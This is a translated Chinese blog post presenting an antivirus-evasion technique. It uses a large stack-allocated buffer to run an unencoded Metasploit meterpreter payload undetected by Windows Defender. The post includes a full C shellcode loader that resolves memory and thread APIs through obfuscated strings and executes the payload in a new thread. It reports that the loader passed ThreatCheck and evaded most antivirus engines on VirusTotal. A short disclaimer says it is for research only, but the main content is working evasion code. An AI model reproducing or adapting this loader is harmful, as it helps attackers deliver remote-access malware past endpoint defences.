本文为翻译文章,有兴趣的师傅可点击阅读原文查看。
使用大堆栈方式,让msf的payload成功绕过windows defender和其他防护软件。这篇文章的目的是通过在一个启用了WindowsDefender的Windows系统上实现一个获取meterpreter会话,来证明Big Stack Bypass的有效性。
我们从一个未加密和未编码的meterpreter二进制有效载荷开始。
在开始之前我们先保证这个过程是正确的,也就是运行载荷后可以获取一个正常的msf会话。
运行载荷后收到会话,说明整个过程无误。
我们注意到,有效载荷约为200KB。我们把它粘贴到我们在最初的大堆栈绕过写法中使用的代码模板中。
typedef LPVOID (WINAPI * VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI * CreateThread_t)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags,LPDWORD lpThreadId);
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sVirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c',0x0};
unsigned char sCreateThread[] = {'C','r','e','a','t','e','T','h','r','e','a','d',0x0,};
int main(VOID) {
//plain meterpreter payload
Unsigned char payload[] = {[…snip…]}
size_t payload_len = sizeof(payload);
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
//function pointers
VirtualAlloc_t VirtualAlloc_p = (VirtualAlloc_t) GetProcAddress(GetModuleHandle((LPCSTR) "KErnEl32.DLl"), (LPCSTR) sVirtualAlloc);
VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) "kErnEl32.DLl"), (LPCSTR) sVirtualProtect);
CreateThread_t CreateThread_p = (CreateThread_t) GetProcAddress(GetModuleHandle((LPCSTR) "kERnEl32.DLl"), (LPCSTR) sCreateThread);
// Allocate a memory buffer for payload
exec_mem = VirtualAlloc_p(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to program memory ; this gets inlined
RtlMoveMemory(exec_mem, payload, payload_len);
// Make payload executable
rv = VirtualProtect_p(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("nLaunch Payload?n");
getchar();
// Run payload
if ( rv != 0 ) {
th = CreateThread_p(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, INFINITE);
}
return 0;
}
现在让我们关闭原有会话,看看我们是否可以绕过Defender。
当我们把植入物放到我们的测试文件夹中时,没有发生任何事情。ThreatCheck确认它被标记为安全。
运行载荷,获取session
该技术也绕过了VT上的大部分AV。
原文始发于微信公众号(鸿鹄实验室):【翻译】免杀技巧--使MSF变得再次可行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论